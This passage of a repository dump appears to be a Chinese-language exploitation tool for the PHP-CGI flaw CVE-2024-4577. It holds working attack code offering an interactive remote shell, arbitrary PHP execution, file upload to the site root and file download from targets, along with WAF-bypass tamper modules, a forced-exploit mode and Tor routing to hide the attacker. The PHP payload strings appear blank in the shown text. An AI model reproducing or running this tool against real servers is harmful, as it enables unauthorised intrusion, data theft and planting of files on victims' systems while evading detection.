parts[0].strip() 501 | save_path = parts[1].strip() if len(parts) > 1 else None 502 | 503 | if save_path == "": 504 | save_dir = os.path.join(os.getcwd(), "output") 505 | if not os.path.exists(save_dir): 506 | os.makedirs(save_dir) 507 | save_path = get_unique_filepath(save_dir, host) 508 | 509 | php_code = f"" 510 | if active_request_template: 511 | resp = send_request(url, php_code, timeout=timeout_value, use_template=True) 512 | else: 513 | req = { 514 | "url": url, 515 | "cgipoint": cgipoint, 516 | "payload": PAYLOADS[payload_key], 517 | "headers": {}, 518 | "post_data": php_code, 519 | "cve_id": payload_key 520 | } 521 | req = apply_bypass(req, bypass_modules, attempt=0) 522 | full_url = f"{req['url']}{req['cgipoint']}?{req['payload']}" 523 | resp = send_request(full_url, req["post_data"], timeout=timeout_value, headers=req["headers"]) 524 | 525 | output = resp.strip() if resp else "" 526 | print(output) 527 | 528 | if save_path: 529 | save_path = os.path.abspath(save_path) 530 | with open(save_path, "w", encoding="utf-8") as f: 531 | f.write(output) 532 | rprint(f"[green][+] 輸出結果已儲存至 {save_path}[/green]") 533 | print() 534 | if enable_log: 535 | with open(log_path, "a", encoding="utf-8") as f: 536 | f.write(f"CMD: {real_cmd}\n{output}\n{'-'*20}\n") 537 | 538 | # 自訂php 539 | def custom_php_mode(url, cgipoint, payload_key, bypass_modules): 540 | rprint("[cyan][*] 輸入PHP程式碼,輸入 EOF 結束,可使用 --save 儲存輸出:[/cyan]") 541 | 542 | php_code = "" 543 | save_path = None 544 | host = urlparse(url).netloc 545 | 546 | while True: 547 | line = input() 548 | if line.strip().startswith("EOF"): 549 | parts = line.split("--save") 550 | if len(parts) > 1: 551 | save_path = parts[1].strip() 552 | if save_path == "": 553 | save_dir = os.path.join(os.getcwd(), "output") 554 | if not os.path.exists(save_dir): 555 | os.makedirs(save_dir) 556 | save_path = get_unique_filepath(save_dir, host) 557 | break 558 | php_code += line + "\n" 559 | 560 | payload = f"" 561 | if active_request_template: 562 | resp = send_request(url, payload, timeout=timeout_value, use_template=True) 563 | else: 564 | req = { 565 | "url": url, 566 | "cgipoint": cgipoint, 567 | "payload": PAYLOADS[payload_key], 568 | "headers": {}, 569 | "post_data": payload, 570 | "cve_id": payload_key 571 | } 572 | req = apply_bypass(req, bypass_modules, attempt=0) 573 | target_url = f"{req['url']}{req['cgipoint']}?{req['payload']}" 574 | resp = send_request(target_url, req["post_data"], timeout=timeout_value, headers=req["headers"]) 575 | 576 | output = resp.strip() if resp else "" 577 | rprint("[dim]─" * 150) 578 | print(output) 579 | 580 | if save_path: 581 | save_path = os.path.abspath(save_path) 582 | with open(save_path, "w", encoding="utf-8") as f: 583 | f.write(output) 584 | rprint(f"[green][+] PHP輸出結果已儲存至 {save_path}[/green]") 585 | rprint("[dim]─" * 150) 586 | 587 | # 上傳檔案 588 | def upload_file(url, cgipoint, payload_key, bypass_modules): 589 | local = input("本地檔案路徑:").strip() 590 | remote = input("目標完整路徑(若留空將上傳至網站根目錄):").strip() 591 | print() 592 | if remote == "": 593 | docroot = get_remote_docroot(url, cgipoint, payload_key, bypass_modules) 594 | if docroot: 595 | remote = os.path.join(docroot, os.path.basename(local)).replace("\\", "/") 596 | rprint(f"[green][*] 已自動設定上傳路徑為: {remote}[/green]") 597 | else: 598 | rprint("[red][!] 無法取得網站根目錄,請手動指定完整路徑[/red]") 599 | return 600 | 601 | try: 602 | with open(local, "r", encoding="utf-8", errors="ignore") as f: 603 | raw_content = f.read() 604 | except Exception as e: 605 | rprint(f"[red][!] 讀取本地檔案失敗: {e}[/red]") 606 | return 607 | 608 | payload = f"" 609 | if active_request_template: 610 | resp = send_request(url, payload, timeout=timeout_value, use_template=True) 611 | else: 612 | req = { 613 | "url": url, 614 | "cgipoint": cgipoint, 615 | "payload": PAYLOADS[payload_key], 616 | "headers": {}, 617 | "post_data": payload, 618 | "cve_id": payload_key 619 | } 620 | req = apply_bypass(req, bypass_modules, attempt=0) 621 | target_url = f"{req['url']}{req['cgipoint']}?{req['payload']}" 622 | resp = send_request(target_url, req["post_data"], timeout=timeout_value, headers=req["headers"]) 623 | 624 | if resp and "OK" in resp: 625 | rprint(f"[green][+] 成功上傳至 {remote}[/green]") 626 | else: 627 | rprint("[red][!] 上傳失敗,無回應[/red]") 628 | print() 629 | 630 | # 下載檔案 631 | def download_file(url, cgipoint, payload_key, bypass_modules): 632 | remote = input("[?] 遠端檔案路徑:").strip() 633 | if not remote: 634 | rprint("[bold red][!] 未輸入檔案路徑,取消下載。[/bold red]\n") 635 | return 636 | 637 | local = os.path.join("download", os.path.basename(remote)) 638 | if not os.path.exists("download"): 639 | os.makedirs("download") 640 | 641 | payload = f"" 642 | if active_request_template: 643 | resp = send_request(url, payload, timeout=timeout_value, use_template=True) 644 | else: 645 | req = { 646 | "url": url, 647 | "cgipoint": cgipoint, 648 | "payload": PAYLOADS[payload_key], 649 | "headers": {}, 650 | "post_data": payload, 651 | "cve_id": payload_key 652 | } 653 | req = apply_bypass(req, bypass_modules, attempt=0) 654 | target_url = f"{req['url']}{req['cgipoint']}?{req['payload']}" 655 | resp = send_request(target_url, req["post_data"], timeout=timeout_value, headers=req["headers"]) 656 | 657 | if not resp or resp.strip() == "": 658 | rprint(f"[bold red][!] 檔案不存在或伺服器無回應:{remote}[/bold red]\n") 659 | return 660 | 661 | with open(local, "wb") as f: 662 | f.write(resp.encode("utf-8")) 663 | rprint(f"[bold green][+] 已下載至 {local}[/bold green]\n") 664 | 665 | #動畫模式 666 | def sleep_safe(sec): 667 | global disable_effects 668 | if not disable_effects and sec > 0: 669 | time.sleep(sec) 670 | 671 | # Exploit 模式參數切換選單 672 | def exploit_settings_menu(state): 673 | while True: 674 | print() 675 | sleep_safe(0.07) 676 | rprint("[bold cyan][⚙️ 利用階段參數設定選單][/bold cyan]\n") 677 | sleep_safe(0.07) 678 | 679 | payload_display = "自訂" if state["selected_payload_group"] not in PAYLOAD_COMBINATIONS else state["selected_payload_group"] 680 | bypass_info = f"{', '.join(state['bypass_modules_selected'])}" if state['bypass_modules_selected'] else "未選擇" 681 | 682 | menu_lines = [ 683 | f"[cyan]1)[/cyan] 切換荷載 Payload [bold cyan]{payload_display}[/bold cyan]", 684 | f"[cyan]2)[/cyan] 繞過模組 Bypass {'[bold cyan]' + bypass_info + '[/bold cyan]' if bypass_info else '[dim]未選擇[/dim]'}", 685 | f"[cyan]3)[/cyan] 等待時間 Timeout [bold]{state['timeout_value']} 秒[/bold]", 686 | f"[cyan]4)[/cyan] 請求延遲 Delay [bold]{state['delay_between_requests']} 秒[/bold]", 687 | f"[cyan]5)[/cyan] 自動紀錄 Log {'[bold bold]開啟[/bold bold]' if state['enable_log'] else '[dim]關閉[/dim]'}", 688 | f"[cyan]6)[/cyan] 詳細模式 Verbose {'[bold bold]開啟[/bold bold]' if state['VERBOSE_MODE'] else '[dim]關閉[/dim]'}", 689 | f"[cyan]7)[/cyan] 動畫效果 Effects {'[bold bold]開啟[/bold bold]' if not state['disable_effects'] else '[dim]關閉[/dim]'}", 690 | f"[cyan]8)[/cyan] 強制利用 Force {'[bold bold]開啟[/bold bold]' if state['force_mode'] else '[dim]關閉[/dim]'}", 691 | f"[cyan]9)[/cyan] 儲存並返回 Exploit 選單" 692 | ] 693 | 694 | for line in menu_lines: 695 | rprint(line) 696 | sleep_safe(0.07) 697 | 698 | choice = input(">> ").strip() 699 | print() 700 | 701 | if choice == "1": 702 | state["selected_payload_group"], _ = show_payload_list() 703 | state["PAYLOADS"] = PAYLOAD_GROUPS.get(state["selected_payload_group"], PAYLOAD_GROUPS["1"]) 704 | rprint("[bold green][*] Payload 組合已更新![/bold green]") 705 | 706 | elif choice == "2": 707 | modules, _ = interactive_bypass_setup() 708 | state["bypass_modules_selected"] = modules 709 | rprint("[bold green][*] 繞過模組設定已更新![/bold green]") 710 | 711 | elif choice == "3": 712 | try: 713 | new_timeout = int(input("[?] 請輸入新的 timeout 秒數(0~120,0 表示無限等待):").strip()) 714 | if new_timeout < 0 or new_timeout > 120: 715 | raise ValueError 716 | state["timeout_value"] = new_timeout 717 | rprint("[bold green][*] Timeout 已更新![/bold green]") 718 | except: 719 | rprint("[bold red][!] 輸入錯誤,timeout 必須是 0~120 的整數[/bold red]") 720 | 721 | elif choice == "4": 722 | try: 723 | new_delay = float(input("[?] 請輸入新的 delay 秒數(0~10):").strip()) 724 | if new_delay < 0 or new_delay > 10: 725 | raise ValueError 726 | state["delay_between_requests"] = new_delay 727 | rprint("[bold green][*] Delay 已更新![/bold green]") 728 | except: 729 | rprint("[bold red][!] 輸入錯誤,delay 必須是 0~10 的數字[/bold red]") 730 | 731 | elif choice == "5": 732 | state["enable_log"] = not state["enable_log"] 733 | rprint("[bold green][*] Log 模式已切換為:[/bold green]" + ("[green]開啟[/green]" if state["enable_log"] else "[dim]關閉[/dim]")) 734 | 735 | elif choice == "6": 736 | state["VERBOSE_MODE"] = not state["VERBOSE_MODE"] 737 | rprint("[bold green][*] Verbose 模式已切換為:[/bold green]" + ("[green]開啟[/green]" if state["VERBOSE_MODE"] else "[dim]關閉[/dim]")) 738 | 739 | elif choice == "7": 740 | state["disable_effects"] = not state["disable_effects"] 741 | rprint("[bold green][*] 動畫效果已切換為:[/bold green]" + ("[dim]關閉[/dim]" if state["disable_effects"] else "[green]開啟[/green]")) 742 | 743 | elif choice == "8": 744 | state["force_mode"] = not state["force_mode"] 745 | rprint("[bold green][*] 強制利用模式已切換為:[/bold green]" + ("[green]開啟[/green]" if state["force_mode"] else "[dim]關閉[/dim]")) 746 | 747 | elif choice == "9": 748 | break 749 | 750 | else: 751 | rprint("[bold red][!] 無效的選擇,請重新輸入![/bold red]") 752 | 753 | 754 | # 失敗後動作清單 755 | def show_fail_menu( 756 | target, 757 | selected_payload_group, 758 | bypass_modules_selected, 759 | bypass_retry_count, 760 | forced_cgipoints, 761 | timeout_value, 762 | delay_between_requests, 763 | enable_log, 764 | VERBOSE_MODE, 765 | disable_effects, 766 | force_mode, 767 | first_round=False 768 | ): 769 | print() 770 | header_text = "[-] 未找到可用漏洞,切換設定後可選擇 6 重新測試:" if first_round \ 771 | else "[!] 請確認設定後選擇 6 開始測試:" 772 | panel_style = "bold red" if first_round else "bold yellow" 773 | console.print(Panel(header_text, title="", style=panel_style, expand=False)) 774 | 775 | payload_display = "自訂" if selected_payload_group not in PAYLOAD_COMBINATIONS else selected_payload_group 776 | bypass_info = f"{', '.join(bypass_modules_selected)};次數:{bypass_retry_count}" if bypass_modules_selected else "未選擇" 777 | cgi_display = "預設" if not forced_cgipoints else ", ".join(forced_cgipoints) 778 | 779 | menu_items = [ 780 | ("1", ":satellite: 變更目標網址", f"[bold blue]{target}[/bold blue]"), 781 | ("2", ":gear: 選擇 Payload 組合", f"[bold cyan]{payload_display}[/bold cyan]"), 782 | ("3", ":zap: 設定繞過方案", f"[bold cyan]{bypass_info}[/bold cyan]"), 783 | ("4", ":wrench: 指定 CGI 路徑", f"[bold cyan]{cgi_display}[/bold cyan]"), 784 | ("5", "⚙️ 其他參數設定", ""), 785 | ("6", "🔁 開始重新測試", "(使用上列設定)"), 786 | ("7", "❌ 離開程式", "") 787 | ] 788 | 789 | for idx, desc, info in menu_items: 790 | sleep_safe(0.05) 791 | if info: 792 | rprint(f"[cyan]{idx})[/cyan] {desc} [{info}]") 793 | else: 794 | rprint(f"[cyan]{idx})[/cyan] {desc}") 795 | 796 | return input(">> ").strip() 797 | 798 | 799 | # 失敗選單選擇 800 | def handle_fail_menu_action(choice, state): 801 | if choice == "6": 802 | return "retry" # 回傳信號給外部 while 迴圈 803 | elif choice == "7": 804 | rprint("[bold yellow][*] 程式結束[/bold yellow]") 805 | sys.exit(0) 806 | 807 | print("\n" + "-" * 50) 808 | 809 | if choice == "1": 810 | state["target"] = input("[?] 輸入新目標 URL: ").strip() 811 | rprint("[bold green][*] 目標已更新[/bold green]") 812 | 813 | elif choice == "2": 814 | state["selected_payload_group"], _ = show_payload_list() 815 | state["PAYLOADS"] = PAYLOAD_GROUPS.get(state["selected_payload_group"], PAYLOAD_GROUPS["1"]) 816 | rprint("[bold green][*] Payload 已更新[/bold green]") 817 | 818 | elif choice == "3": 819 | state["enable_bypass"] = True 820 | state["bypass_modules_selected"], state["bypass_retry_count"] = interactive_bypass_setup() 821 | rprint("[bold green][*] 繞過設定已更新[/bold green]") 822 | 823 | elif choice == "4": 824 | raw = input("輸入 CGI 路徑(可多個,以空格分隔,留空為預設): ").strip() 825 | if raw: 826 | state["forced_cgipoints"] = raw.split() 827 | else: 828 | state["forced_cgipoints"] = [] 829 | rprint("[bold green][*] CGI 路徑已更新[/bold green]") 830 | 831 | elif choice == "5": 832 | fail_settings_menu(state) 833 | 834 | sleep_safe(0.2) 835 | return "continue" 836 | 837 | # 其他參數設定 838 | def fail_settings_menu(state): 839 | while True: 840 | print() 841 | sleep_safe(0.07) 842 | rprint("[bold cyan][⚙️ 測試參數設定選單][/bold cyan]\n") 843 | sleep_safe(0.07) 844 | menu_lines = [ 845 | f"[cyan]1)[/cyan] 等待時間 Timeout [bold]{state['timeout_value']} 秒[/bold]", 846 | f"[cyan]2)[/cyan] 請求延遲 Delay [bold]{state['delay_between_requests']} 秒[/bold]", 847 | f"[cyan]3)[/cyan] 自動紀錄 Log {'[bold]開啟[/bold]' if state['enable_log'] else '[dim]關閉[/dim]'}", 848 | f"[cyan]4)[/cyan] 詳細模式 Verbose {'[bold]開啟[/bold]' if state['VERBOSE_MODE'] else '[dim]關閉[/dim]'}", 849 | f"[cyan]5)[/cyan] 動畫效果 Effects {'[dim]關閉[/dim]' if state['disable_effects'] else '[bold]開啟[/bold]'}", 850 | f"[cyan]6)[/cyan] 強制利用 Force {'[bold]開啟[/bold]' if state['force_mode'] else '[dim]關閉[/dim]'}", 851 | f"[cyan]7)[/cyan] 保存並返回選單" 852 | ] 853 | 854 | for line in menu_lines: 855 | rprint(line) 856 | sleep_safe(0.07) 857 | 858 | choice = input(">> ").strip() 859 | print() 860 | 861 | if choice == "1": 862 | try: 863 | val = int(input("輸入 Timeout 時間(1~120,或 0 為無限等待): ").strip()) 864 | if 0 <= val <= 120: 865 | state["timeout_value"] = val 866 | rprint("[bold green][*] Timeout 已更新[/bold green]") 867 | else: 868 | rprint("[red][!] 請輸入 0~120 之間的整數[/red]") 869 | except: 870 | rprint("[red][!] 輸入格式錯誤[/red]") 871 | 872 | elif choice == "2": 873 | try: 874 | val = float(input("輸入延遲秒數(例如 1.5,可為 0): ").strip()) 875 | if 0 <= val <= 10: 876 | state["delay_between_requests"] = val 877 | rprint("[bold green][*] 延遲時間已更新[/bold green]") 878 | else: 879 | rprint("[red][!] 延遲請輸入 0~10 秒[/red]") 880 | except: 881 | rprint("[red][!] 輸入格式錯誤[/red]") 882 | 883 | elif choice == "3": 884 | state["enable_log"] = not state["enable_log"] 885 | rprint(f"[bold green][*] Log 已切換為 {'開啟' if state['enable_log'] else '關閉'}[/bold green]") 886 | 887 | elif choice == "4": 888 | state["VERBOSE_MODE"] = not state["VERBOSE_MODE"] 889 | rprint(f"[bold green][*] Verbose 已切換為 {'開啟' if state['VERBOSE_MODE'] else '關閉'}[/bold green]") 890 | 891 | elif choice == "5": 892 | state["disable_effects"] = not state["disable_effects"] 893 | rprint(f"[bold green][*] 動畫模式已切換為 {'關閉' if state['disable_effects'] else '開啟'}[/bold green]") 894 | 895 | elif choice == "6": 896 | state["force_mode"] = not state["force_mode"] 897 | rprint(f"[bold green][*] 強制利用模式已切換為 {'開啟' if state['force_mode'] else '關閉'}[/bold green]") 898 | 899 | elif choice == "7": 900 | break 901 | else: 902 | rprint("[red][!] 無效選項,請重新輸入[/red]") 903 | 904 | 905 | # main 函數 906 | def main(): 907 | global timeout_value, PAYLOADS, selected_payload_group, VERBOSE_MODE, enable_log, use_tor, tor_session, disable_effects, forced_cgipoints, delay_between_requests 908 | 909 | args = parse_arguments() 910 | target = args.url 911 | 912 | enable_log = args.log 913 | VERBOSE_MODE = args.verbose 914 | use_tor = args.tor 915 | enable_bypass = args.bypass 916 | force_mode = args.force 917 | disable_effects = args.no_effects 918 | forced_cgipoints = args.cgipoint or [] 919 | delay_between_requests = args.delay 920 | #disable_effects = false 921 | 922 | if disable_effects: 923 | banner.print_static_banner() 924 | banner.Show_Disclaimer(no_effects=True) 925 | else: 926 | banner.play_banner(use_tor, enable_bypass) 927 | banner.Show_Disclaimer() 928 | 929 | if delay_between_requests > 0: 930 | rprint("[bold green][*] 已設置 delay 模式[/bold green]") 931 | 932 | if args.timeout == 0: 933 | rprint("[bold green][*] 已設置為無限等待[/bold green]") 934 | elif args.timeout > 120: 935 | rprint("[bold red][!] 等待時間過久 (超過 120 秒),如需要無限等待請使用 --timeout=0[/bold red]") 936 | sys.exit(1) 937 | elif args.timeout > 30: 938 | timeout_value = args.timeout 939 | rprint("[bold yellow][!] 警告:timeout 超過 30 秒,測試可能會耗時較久[/bold yellow]") 940 | elif args.timeout < 1: 941 | rprint("[bold red][!] 錯誤:timeout 必須為 0 或 1~120 之間的整數[/bold red]") 942 | sys.exit(1) 943 | else: 944 | timeout_value = args.timeout 945 | if args.timeout != 10: 946 | rprint(f"[bold green][*] 設定請求超時時間為 {timeout_value} 秒[/bold green]") 947 | 948 | if use_tor: 949 | tor_session = tor_helper.get_tor_session() 950 | if not tor_session: 951 | sys.exit(1) 952 | 953 | # Payload選擇邏輯區塊 954 | generate_payload_groups() 955 | 956 | if args.payload == "C": 957 | rprint("\n[bold cyan][*] 進入自訂 Payload 模式...[/bold cyan]") 958 | selected_payload_group = customize_payload() 959 | elif args.payload and args.payload in PAYLOAD_GROUPS: 960 | selected_payload_group = args.payload 961 | elif args.payload: 962 | rprint("\n[bold yellow][!] 無效或遺漏的 Payload 組合,進入選擇介面[/bold yellow]") 963 | selected_payload_group, PAYLOADS = show_payload_list() 964 | else: 965 | selected_payload_group = "1" #預設 966 | 967 | # 確保 PAYLOADS 一定對應正確 968 | PAYLOADS = PAYLOAD_GROUPS.get(selected_payload_group, PAYLOAD_GROUPS["1"]) 969 | 970 | bypass_modules_selected = [] 971 | bypass_retry_count = 1 972 | if enable_bypass: 973 | bypass_modules_selected, bypass_retry_count = interactive_bypass_setup() 974 | 975 | while True: 976 | selected_cgipoint, selected_payload = None, None 977 | next_action = None 978 | already_scanned_this_round = False 979 | rprint("[bold green][*] 開始測試...[/bold green]") 980 | 981 | if enable_bypass and bypass_modules_selected: 982 | rprint("[bold cyan][*][/bold cyan] 已啟用 Bypass 模式,套用以下繞過策略:") 983 | for name in bypass_modules_selected: 984 | rprint(f"[cyan] - {name}[/cyan]") 985 | rprint(f"\n[bold cyan][*][/bold cyan] 將重試每組繞過組合 [bold]{bypass_retry_count}[/bold] 次\n") 986 | 987 | selected_cgipoint, selected_payload = run_bypass_mode( 988 | target, 989 | bypass_modules_selected, 990 | bypass_retry_count, 991 | forced_cgipoints 992 | ) 993 | already_scanned_this_round = True 994 | 995 | if not already_scanned_this_round: 996 | for p in PAYLOADS: 997 | ep = choose_cgipoint(target, p, forced_cgipoints) 998 | if ep: 999 | selected_cgipoint, selected_payload = ep, p 1000 | break 1001 | 1002 | fail_menu_first_time = True 1003 | 1004 | if not selected_cgipoint and force_mode: 1005 | rprint("[bold violet][*] 啟用 --force 模式,將強制進入漏洞利用功能選單[/bold violet]\n") 1006 | selected_cgipoint = CGI_POINTS[0] 1007 | selected_payload = list(PAYLOADS.keys())[0] 1008 | 1009 | fail_menu_first_time = True 1010 | 1011 | while not selected_cgipoint: 1012 | next_action = show_fail_menu( 1013 | target, 1014 | selected_payload_group, 1015 | bypass_modules_selected, 1016 | bypass_retry_count, 1017 | forced_cgipoints, 1018 | timeout_value, 1019 | delay_between_requests, 1020 | enable_log, 1021 | VERBOSE_MODE, 1022 | disable_effects, 1023 | force_mode, 1024 | first_round=fail_menu_first_time 1025 | ) 1026 | print() 1027 | fail_menu_first_time = False 1028 | 1029 | # 用 dict 傳入要更新的 state 1030 | menu_state = { 1031 | "target": target, 1032 | "selected_payload_group": selected_payload_group, 1033 | "PAYLOADS": PAYLOADS, 1034 | "enable_bypass": enable_bypass, 1035 | "bypass_modules_selected": bypass_modules_selected, 1036 | "bypass_retry_count": bypass_retry_count, 1037 | "forced_cgipoints": forced_cgipoints, 1038 | "timeout_value": timeout_value, 1039 | "delay_between_requests": delay_between_requests, 1040 | "enable_log": enable_log, 1041 | "VERBOSE_MODE": VERBOSE_MODE, 1042 | "disable_effects": disable_effects, 1043 | "force_mode": force_mode 1044 | } 1045 | 1046 | 1047 | # 這裡是handler的呼叫 1048 | result = handle_fail_menu_action(next_action, menu_state) 1049 | 1050 | # 回收變數 1051 | target = menu_state["target"] 1052 | selected_payload_group = menu_state["selected_payload_group"] 1053 | PAYLOADS = menu_state["PAYLOADS"] 1054 | enable_bypass = menu_state["enable_bypass"] 1055 | bypass_modules_selected = menu_state["bypass_modules_selected"] 1056 | bypass_retry_count = menu_state["bypass_retry_count"] 1057 | forced_cgipoints = menu_state["forced_cgipoints"] 1058 | timeout_value = menu_state["timeout_value"] 1059 | delay_between_requests = menu_state["delay_between_requests"] 1060 | enable_log = menu_state["enable_log"] 1061 | VERBOSE_MODE = menu_state["VERBOSE_MODE"] 1062 | disable_effects = menu_state["disable_effects"] 1063 | force_mode = menu_state["force_mode"] 1064 | 1065 | if result == "retry": 1066 | break 1067 | 1068 | if next_action != "4" and not selected_cgipoint: 1069 | continue 1070 | 1071 | while selected_cgipoint: 1072 | sleep_safe(0.05) 1073 | header = Text(" Exploit 模式選單 ", style="bold cyan") 1074 | body = Text() 1075 | body.append("當前目標:", style="cyan") 1076 | body.append(f"{target}\n", style="sky_blue1") 1077 | body.append("當前注入點:", style="cyan") 1078 | body.append(f"{selected_cgipoint}\n", style="sky_blue1") 1079 | body.append("漏洞編號:", style="cyan") 1080 | body.append(f"{selected_payload}", style="sky_blue1") 1081 | 1082 | console.print(Panel(body, title=header, border_style="bright_blue", expand=False)) 1083 | 1084 | # 定義選單項目與對應行為 1085 | menu_items = [ 1086 | ("1", "🧪 Shell模式", lambda: exploit_shell(target, selected_cgipoint, selected_payload, bypass_modules_selected)), 1087 | ("2", "🛠️ PHP自訂端模式", lambda: custom_php_mode(target, selected_cgipoint, selected_payload, bypass_modules_selected)), 1088 | ("3", "📤 上傳檔案", lambda: upload_file(target, selected_cgipoint, selected_payload, bypass_modules_selected)), 1089 | ("4", "📥 下載檔案", lambda: download_file(target, selected_cgipoint, selected_payload, bypass_modules_selected)), 1090 | ("5", "🎯 切換攻擊目標", "switch_target"), 1091 | ("6", "⚙️ 設定參數", "settings"), 1092 | ("7", "❌ 離開程式", "exit") 1093 | ] 1094 | 1095 | for idx, desc, _ in menu_items: 1096 | sleep_safe(0.07) 1097 | rprint(f"[cyan]{idx})[/cyan] {desc}") 1098 | 1099 | choice = input(">> ").strip() 1100 | print() 1101 | 1102 | matched = next((item for item in menu_items if item[0] == choice), None) 1103 | 1104 | if matched: 1105 | action = matched[2] 1106 | if callable(action): 1107 | action() 1108 | elif action == "switch_target": 1109 | target = input("輸入新目標URL: ").strip() 1110 | print() 1111 | break # 跳出迴圈重新掃描目標 1112 | elif action == "settings": 1113 | # 建立設定狀態 dict 傳入 1114 | state = { 1115 | "selected_payload_group": selected_payload_group, 1116 | "bypass_modules_selected": bypass_modules_selected, 1117 | "timeout_value": timeout_value, 1118 | "delay_between_requests": delay_between_requests, 1119 | "enable_log": enable_log, 1120 | "VERBOSE_MODE": VERBOSE_MODE, 1121 | "disable_effects": disable_effects, 1122 | "force_mode": force_mode, 1123 | "PAYLOADS": PAYLOADS 1124 | } 1125 | 1126 | exploit_settings_menu(state) 1127 | 1128 | # 回寫更新後參數 1129 | selected_payload_group = state["selected_payload_group"] 1130 | bypass_modules_selected = state["bypass_modules_selected"] 1131 | timeout_value = state["timeout_value"] 1132 | delay_between_requests = state["delay_between_requests"] 1133 | enable_log = state["enable_log"] 1134 | VERBOSE_MODE = state["VERBOSE_MODE"] 1135 | disable_effects = state["disable_effects"] 1136 | force_mode = state["force_mode"] 1137 | PAYLOADS = state["PAYLOADS"] 1138 | 1139 | elif action == "exit": 1140 | rprint("[bold yellow][*] 程式結束[/bold yellow]") 1141 | sys.exit(0) 1142 | else: 1143 | rprint("[bold red][!] 無效的選擇,請重新選擇[/bold red]\n") 1144 | 1145 | if __name__ == "__main__": 1146 | main() 1147 | 1148 | 1149 | 1150 | 1151 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | requests 2 | urllib3 3 | chardet 4 | requests-tor 5 | rich 6 | -------------------------------------------------------------------------------- /tamper_example_template.txt: -------------------------------------------------------------------------------- 1 | # tamper_example_template.py 2 | 3 | name = "tamper_example_template" # 模組名稱,將顯示於選單中 4 | description = "【範例模板】展示 tamper 模組的結構與使用方式,預設添加自定註解於 payload 結尾" 5 | 6 | def tamper(data): 7 | """ 8 | tamper 模組的主要函式,用來修改送出的請求內容。 9 | 10 | 傳入的 data 為 dict 物件,內容包含以下欄位: 11 | 12 | - url (str) :目標網站的 URL(不包含 payload 與參數) 13 | - cgipoint (str) :目前測試的 CGI 執行路徑(例:/php-cgi/php-cgi.exe) 14 | - payload (str) :QueryString 的 payload 組合(會附加在 URL 後) 15 | - headers (dict) :HTTP headers,可增加如 User-Agent、X-Forwarded-For 等欄位 16 | - post_data (str) :POST 實體內容,通常是 PHP payload 17 | - element_ids (list[int]) :目前所使用 payload 的元素編號清單 18 | - cve_id (str) :目前使用的 CVE 漏洞編號(例如 "CVE-2024-4577") 19 | - attempt (int) :第幾次重試(由主程式傳入) 20 | 21 | 模組可以選擇性修改上述欄位中的任意一項,最後需回傳修改後的 data(可原地修改)。 22 | 23 | 回傳: 24 | dict - 已修改過的請求資料 25 | """ 26 | 27 | # ========== 示例區開始 ========== 28 | 29 | # 讀取當前重試次數,可根據次數改變混淆策略 30 | attempt_number = data.get("attempt", 0) 31 | 32 | # 在 payload 結尾添加註解,幫助辨識 tamper 是否生效 33 | if isinstance(data.get("payload"), str): 34 | data["payload"] += f"+%23tampered_{attempt_number}" # %23 為 URL 中的 '#' 符號(註解) 35 | 36 | # 加入測試用 Header,可供伺服器端識別 37 | data["headers"]["X-Debug-Tamper"] = f"example_template_attempt_{attempt_number}" 38 | 39 | # ========== 示例區結束 ========== 40 | 41 | return data 42 | -------------------------------------------------------------------------------- /tor_helper.py: -------------------------------------------------------------------------------- 1 | import platform 2 | import time 3 | import subprocess 4 | import os 5 | import requests 6 | from rich import print as rprint 7 | from rich.panel import Panel 8 | from rich.console import Console 9 | from rich.text import Text 10 | from rich.markdown import Markdown 11 | from rich.syntax import Syntax 12 | from rich.table import Table 13 | 14 | try: 15 | from requests_tor import RequestsTor 16 | except ImportError: 17 | rprint("[bold dark_violet][!] 警告:請安裝 `requests-tor` 以支援 Tor 代理: pip install requests-tor[/bold dark_violet]") 18 | RequestsTor = None 19 | 20 | IS_WINDOWS = platform.system().lower() == "windows" 21 | TOR_PORT = 9150 if IS_WINDOWS else 9050 22 | 23 | PROXIES = { 24 | "http": f"socks5h://127.0.0.1:{TOR_PORT}", 25 | "https": f"socks5h://127.0.0.1:{TOR_PORT}" 26 | } 27 | 28 | def check_tor(): 29 | if not RequestsTor: 30 | return False 31 | try: 32 | response = requests.get("https://check.torproject.org/api/ip", proxies=PROXIES, timeout=10) 33 | if response.status_code == 200: 34 | ip_check = response.json().get("IP", "未知") 35 | rprint(f"[medium_purple][*] Tor 代理已啟用,當前出口 IP: {ip_check}[/medium_purple]") 36 | if IS_WINDOWS: 37 | return RequestsTor() 38 | else: 39 | return RequestsTor(tor_ports=(9050,)) 40 | except Exception as e: 41 | rprint(f"[bold dark_violet][!] 無法連接 Tor 代理: {e}[/bold dark_violet]") 42 | return False 43 | return False 44 | 45 | def start_tor(): 46 | if IS_WINDOWS: 47 | rprint("[orchid][*] 嘗試開啟 Tor 瀏覽器...[/orchid]") 48 | possible_paths = [ 49 | os.path.expandvars(r"%APPDATA%\Tor Browser\Browser\firefox.exe"), 50 | r"C:\Program Files\Tor Browser\Browser\firefox.exe", 51 | r"D:\Tor Browser\Browser\firefox.exe", 52 | os.path.expandvars(r"%USERPROFILE%\Desktop\Tor Browser\Browser\firefox.exe"), 53 | r"C:\Users\Public\Desktop\Tor Browser\Browser\firefox.exe" 54 | ] 55 | tor_path = next((path for path in possible_paths if os.path.exists(path)), None) 56 | 57 | if not tor_path: 58 | rprint("[bold dark_violet][!] 找不到 Tor 瀏覽器,請手動開啟 Tor![/bold dark_violet]") 59 | return False 60 | subprocess.Popen(tor_path, shell=True) 61 | else: 62 | rprint("[orchid][*] 嘗試啟動 Tor 服務...[/orchid]") 63 | subprocess.Popen("tor &", shell=True) 64 | 65 | rprint("[orchid][*] 等待 Tor 啟動中...[/orchid]") 66 | time.sleep(10) 67 | return check_tor() 68 | 69 | def get_tor_session(): 70 | rprint("[medium_purple][*] 嘗試啟動 Tor 代理...[/medium_purple]") 71 | rprint("[dim][!] Tor 代理回應時間較長,建議設定 --timeout[/dim]") 72 | 73 | tor_session = check_tor() 74 | if not tor_session: 75 | if IS_WINDOWS: 76 | rprint("[bold dark_violet][!] 無法連接 Tor 代理,請確認 Tor 瀏覽器是否開啟![/bold dark_violet]") 77 | rprint("[orchid][*] 請確保 Tor 瀏覽器已開啟,並且 SOCKS 代理 設定為 127.0.0.1:9150[/orchid]") 78 | else: 79 | rprint("[bold dark_violet][!] 無法連接 Tor 代理,請確認 Tor 服務是否運行![/bold dark_violet]") 80 | rprint("[orchid][*] Linux 用戶請嘗試執行: sudo systemctl start tor[/orchid]") 81 | 82 | user_input = input("[?] 是否要自動開啟 Tor? (Y/N): ").strip().lower() 83 | 